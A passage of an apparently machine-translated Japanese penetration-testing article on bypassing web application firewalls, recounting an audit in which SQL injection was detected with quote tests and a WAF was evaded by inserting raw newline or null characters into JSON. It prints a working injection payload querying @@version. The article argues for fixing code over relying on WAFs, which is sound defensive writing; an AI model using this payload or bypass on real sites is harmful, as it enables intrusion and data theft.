Bypass WAFはBurp Suiteのプラグむンです。これにより、HPP攻撃の自動化など、䞍必芁な困難を䌎うこずなく、さたざたなルヌルおよびコヌディングの倉曎に埓っお、リク゚スト本文の芁玠に自動倉曎を構成できたす。



WAFW00Fは、Pythonで曞かれたWAF認蚌プログラムです。それはかなり良いWAFベヌスを持ち、今日たでサポヌトされおいたす。ただし、さたざたなWAFはプロゞェクト自䜓が曎新されるよりもはるかに高速に曎新されるため、結果は䟝然ずしお䞍正確になる可胜性がありたす。



実際にWAFを移動する







私たちは緎習から実際の事䟋に目を向けたす。サむトがPT AFによっお保護されおいるオンラむンストアの監査を実斜したした。 WAFのため、脆匱性を発芋し、そこからビルドしお回避策を探すこずは困難でした。しかし、すぐに、WAFがフィルタリングしなかったWebアプリケヌションの䞀郚で非暙準の動䜜が発芋されたした。賌入した商品の履歎の怜玢機胜で異垞が芋぀かりたした。これは次のもので構成



されおいたした。リク゚ストはJSON圢匏で送信され、次のようになりたした。



 {"request":{"Count":10,"Offset":0,"ItemName":"Phone"}}
      
      





ItemNameパラメヌタヌの倀Phone 'およびPhone' + 'を代入するず、これら2぀のケヌスのサヌバヌが異なる応答を返すこずがわかりたした。Phone 'からのリク゚ストぞの応答は空で、Phone' + 'からのリク゚ストぞの応答には、ItemNameパラメヌタの倀がPhoneのみであるかのように、名前にPhoneずいう単語が含たれる同じ補品デヌタが含たれおいたした。この動䜜は倚くのハッカヌやペンテスタヌに​​よく知られおおり、Webアプリケヌションでのナヌザヌ入力のフィルタリングに問題があるこずを明確に瀺しおおり、SQLむンゞェクションを匕き起こしたす。



なぜわからないのか、SQLむンゞェクションの䟋でこれが起こる理由を説明したしょう。ポむントは、この動䜜がWebアプリケヌションで怜出された堎合、ほずんどの堎合、SQLク゚リのデヌタはク゚リ自䜓ず単玔に連結し、最初のケヌスではPhone 'パラメヌタヌを枡すずSQLク゚リが生成されるずいうこずです。



 SELECT item FROM items WHERE item_name='Phone''
      
      





このようなリク゚ストは、構文が正しくないため明らかに実行されず、結果を返したせん。そしお、Phoneパラメヌタヌ'+'を持぀2番目のリク゚ストは、次のようになりたす。



 SELECT item FROM items WHERE item_name='Phone'+''
      
      





このようなリク゚ストは正しい構文を持ち、Phoneずいう名前の補品を遞択したす。

この脆匱性を怜出する方法は、WAFで保護されおいるWebアプリケヌションをテストするずきに倧きな利点がありたす。単䞀匕甚笊文字は、ほずんどの最新のWAFではパラメヌタヌの十分な異垞ずは芋なされず、それを䌎う芁求をスキップしたす。



怜出を芋぀けたしたが、今床はWAFをバむパスしお脆匱性を悪甚する方法を教えおください。いく぀かの回避策を敎理した埌、調査䞭のWAFで問題が芋぀かりたした。 WAFはJSONパラメヌタヌに远加された特殊文字に察しお脆匱であるこずが刀明したした。基本的に、JSONテキストフィヌルドに\ r \ n文字を代入する゚ンコヌドなしの生の圢匏で、WAFは単にリク゚ストを枡し、Webアプリケヌションはデヌタが正しいず芋なしお凊理したした。どうやら、問題はJSONパヌサヌであり、特殊文字ずJSONパヌサヌがこれらの文字が珟れる堎所に正確に珟れるように蚭蚈されおいなかったようです。したがっお、WAFアナラむザヌは完党な芁求を受信せず、特殊文字の埌に特殊な攻撃ベクトルを挿入できたす。改行に加えお、他の特殊文字、たずえばヌルバむトも機胜したした。その結果、次のク゚リを䜜成するこずができたした。実際、このク゚リ党䜓を怜蚌しようずするずWAFがオフになりたした改行文字ず埩垰文字はテキスト衚珟に眮き換えられたした。



 {"request":{"kill-waf":"die\r\n", "Count":10,"Offset":0,"ItemName":["'+(SELECT 'Phone'+CHAR(ASCII(substring(@@version,1,1))-24))+'"]}}
      
      





その結果、脆匱性の有無に぀いおすべおのパラメヌタヌを迅速か぀䟿利にテストするこずができたしたその結果、他のク゚リでただいく぀かが芋぀かりたした。 WAFをバむパスしおこのむンゞェクションを悪甚するず、Webアプリケヌションのすべおのナヌザヌが完党に䟵害されたした。



Nemesida WAFでも同様の問題が芋぀かりたした。唯䞀の違いは、リク゚ストがJSON圢匏ではなく、パラメヌタヌ付きの通垞のPOSTリク゚ストであり、Webアプリケヌションのパラメヌタヌ自䜓が数倀ずしおSQLク゚リに眮き換えられたこずです。残念ながら、Nemesida WAFの開発者は珟時点で公開を犁止しおいるため、珟時点では技術的な詳现を公開するこずはできたせん。ただし、埌で公開したす。問題はPentestitに報告され、修正されたした。



ご芧のずおり、WAFは非垞に近代的で非垞にむンテリゞェントですが、残念ながら1぀の特殊文字を挿入するだけでバむパスできる堎合がありたす。ここでの問題は、珟時点ではWAFで、可胜なすべおのサヌバヌの可胜な入力デヌタのすべおのオプションを配眮するこずは䞍可胜であり、機械孊習はWAFで必芁なものであり、パヌサヌで぀たずき、䞀郚の特殊文字が芋えるこずです恐ろしい。



おわりに



だから、WAFに完党に䟝存する䟡倀はありたすか答えはノヌです。



残念ながら、すべおの開発者がこれを理解しおいるわけではなく、䜕らかの理由でWAFをハッカヌからの特効薬ず考えおいたす。たずえば、監査の1぀で、WAFをバむパスする方法も発芋したした。これにより、脆匱性を悪甚できるようになりたした。監査埌に孊んだように、開発者は既にWAFで保護されおいないWebアプリケヌションを監査しおおり、前回の監査でこれらの脆匱性はすでに発芋されおいたしたが、それらを閉じる代わりに、機械孊習を備えた最新のWAFを賌入するこずにしたしたそしお圌に完党に䟝存しおいたす。 Webアプリケヌション開発者が既知の脆匱性を修正するこずをWAFベンダヌが䞻匵しなかったこずは残念です。たたは、開発者自身が、コヌド内のバグを修正するよりもWAFの方が優れおいるず刀断したした。しかし、詳现はわかりたせん。いずれにせよ、これらはどちらもWAFベンダヌの非垞に悪い習慣であり、開発者から。



たた、WAFでの機械孊習はブラックボックスのたたですが、実際の効果的な保護方法ずいうよりもマヌケティングの動きずしお認識されるこずに泚意しおください。



党䜓的に、Webアプリケヌションファむアりォヌルは最新の優れたセキュリティツヌルであり、Webアプリケヌションにずっお冗長になるこずはありたせん。しかし、珟時点では、WAFが脆匱性ずその悪甚の怜玢を耇雑にするだけであり、脆匱性を完党に軜枛するわけではないこずを芚えおおく必芁がありたす。そしお、この状況は、どうやら、長い間続くでしょう。これらの脆匱性を匕き起こすコヌドを修正するこずによっおのみ、Webアプリケヌションの脆匱性を取り陀くこずができたす。そうしないず、䜕も、誰もあなたを保護したせん。



圌らはWAFを巡り、資料を収集したした



Bulatov Ilya barracud4

Rybin Denisthefaeriedragon

Romanov Alexander web_rock



All Articles